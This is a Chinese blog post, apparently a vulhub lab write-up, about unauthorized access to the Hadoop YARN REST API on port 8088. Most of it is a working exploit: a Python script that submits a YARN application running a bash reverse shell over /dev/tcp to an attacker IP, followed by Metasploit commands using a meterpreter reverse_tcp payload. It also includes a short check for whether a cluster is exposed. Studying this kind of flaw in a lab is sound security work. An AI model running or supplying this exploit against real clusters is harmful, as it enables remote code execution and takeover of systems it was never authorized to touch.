首页 > 其他分享 >Hadoop未授权访问

Hadoop未授权访问

时间:2024-11-01 20:08:32浏览次数:3  
标签:漏洞 访问 8088 Hadoop application 授权 id

Hadoop未授权访问

是什么?

Hadoop 是一种用来处理和存储大量数据的软件工具,可以用来日志分析,推荐系统,数据备份

  核心组件

存储大数据:HDFS 文件系统
处理大数据:MapReduce
管理资源:YARN

  漏洞成因(本质是API路径未授权):

默认开放的REST API端口: YARN的RESTAP默认开放在8088和8090端口,如果未进行适当的访问控制,攻击者可以利用这些API进行未授权访问。

  靶场:vulhub/hadoop/unauthorized-yarn

# 开启靶场
docker-compose up -d

利用方式一(脚本利用)

  1.访问靶机8088端口,看到存在未授权访问漏洞

image-20241101194623482

  2.通过脚本利用(通过python3执行脚本即可)

#!/usr/bin/env python

import requests

# 漏洞目标URL
target = 'http://127.0.0.1:8088/'
#  反弹Shell 攻击机IP地址,监听6666端口
lhost = '192.168.0.1' 

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/攻击机ip/6666 0>&1'
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

利用方式二(msf利用)

  利用msf模块

msfconsole -q
use exploit/linux/http/hadoop_unauth_exec
set rhosts 192.168.81.127
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.81.238
set lport 5566
exploit

漏洞发现

  POST访问如下URL,返回application-id,则表明存在漏洞

 http://ip:8088/ws/v1/cluster/apps/new-application

image-20241101200403744

总结

  1. 漏洞成因是开启了Hadoop Web 管理页面,端口一般为8088或8090
  2. 所以可以通过访问接口发现是否存在漏洞

标签:漏洞,访问,8088,Hadoop,application,授权,id
From: https://www.cnblogs.com/left-shoulder/p/18521194

相关文章

  • 前端打包成dist包,后端该怎么访问,两种方式
    第一种Nginx,映射到dist文件夹server{listen80;server_nameyourdomain.com;location/{root/path/to/your/dist;try_files$uri$uri//index.html;}}第二种把dist放到项目中使用SpringBoot结合前端资源,使用WebMvcConfigurer......
  • 给予爱快路由器使用阿里云DDNS远程访问家庭网络
    一、阿里云域名准备1、首先需要购买一个阿里云域名,选简短好记性价比高的即可,如果域名只是用来解析路由器IP地址,不做服务器类应用,则不需要备案。 2、想做动态域名解析,光有域名还不行,还需要在阿里云控制台建立一个访问授权,路由器才能动态同步远营商的IP地址到DNS服......
  • 配置elk插件安全访问elk前台页面
    编辑els配置文件vimelasticsearch.yml,添加以下配置文件用elk用户,启动els服务关闭防火墙,查看els启动是否成功,通过是否启动java进程来判断或者通过查看是否启动9200和9300端口来判断是否启动交互模式启动密码配置文件interactive表示交互模式提示输入用户密码,全部输......
  • 【SpringSecurity-2】Springboot + SpringSecurity + Oauth2授权码模式
    目录1、项目验证(1)获取授权码(2)获取access_token2、添加资源服务器(1)创建项目(2)添加依赖(3)创建启动类(4)配置资源服务器(5)创建Rest接口(6)添加application.yml3、获取token,访问资源服务器(1)授权服务器的修改(2)资源服务器token校验方式本篇接上篇内容,拿到授权码后,客户端往......
  • C#通过反射实现动态属性访问器
    动态属性访问器使用反射,我们可以创建一个动态的属性访问器(DynamicPropertyAccessor),允许我们在运行时访问和修改对象的属性为什么要动态访问为什么不直接访问,而用动态访问?直接访问适用于:编译时就知道要访问的属性追求最高性能的场景简单的属性访问动态访问适用于:运......
  • 内网模块放开外网访问和 cdn
    确实,如果您的应用未来需要扩展到外网,直接在服务器上安装SSL/TLS证书,并通过Nginx将所有请求转换为HTTPS是基本的步骤。然而,为了确保平滑迁移和系统的长期可维护性,还有一些其他因素需要考虑:证书管理:证书获取:选择一个合适的证书颁发机构(CA)来获取SSL/TLS证书,或者使用像L......
  • 在K8S中,集群服务访问失败 如何解决?
    在Kubernetes(K8S)中,集群服务访问失败是一个常见的问题,可能由多种原因引起。下面是一些排查和解决问题的步骤,可以帮助你定位并解决服务访问失败的问题。1.检查服务定义首先,确保你的服务定义是正确的。检查服务的YAML文件,确认selector标签与后端Pod的标签匹配。如果服务定义有......
  • 在K8S中,外网无法访问集群提供的服务 如何解决?
    在Kubernetes(K8S)中,如果外网无法访问集群提供的服务,可以按照以下步骤进行详细的排查和解决:1.检查服务配置服务类型:确保服务的类型是NodePort或LoadBalancer,因为这两种类型允许外部访问。如果使用NodePort,检查是否所有节点的防火墙都允许访问该端口。如果使用LoadBalancer,确......
  • Hadoop安装部署
    Hadoop安装部署一、虚拟机配置1、创建3台虚拟机:master、node1、node22、关闭防火墙systemctlstopfirewalld.service#停止firewallsystemctldisablefirewalld.service#禁止firewall开机启动查看防火墙状态firewall-cmd--statesystemctlstatusfirewalld.service......
  • Hadoop基础知识整理
    一、HDFS1.HDFS概述Hadoop分布式系统框架中,首要的基础功能就是文件系统,在Hadoop中使用FileSystem这个抽象类来表示我们的文件系统,这个抽象类下面有很多子实现类,究竟使用哪一种,需要看我们具体的实现类,在我们实际工作中,用到的最多的就是HDFS(分布式文件系统)以及LocalFileSy......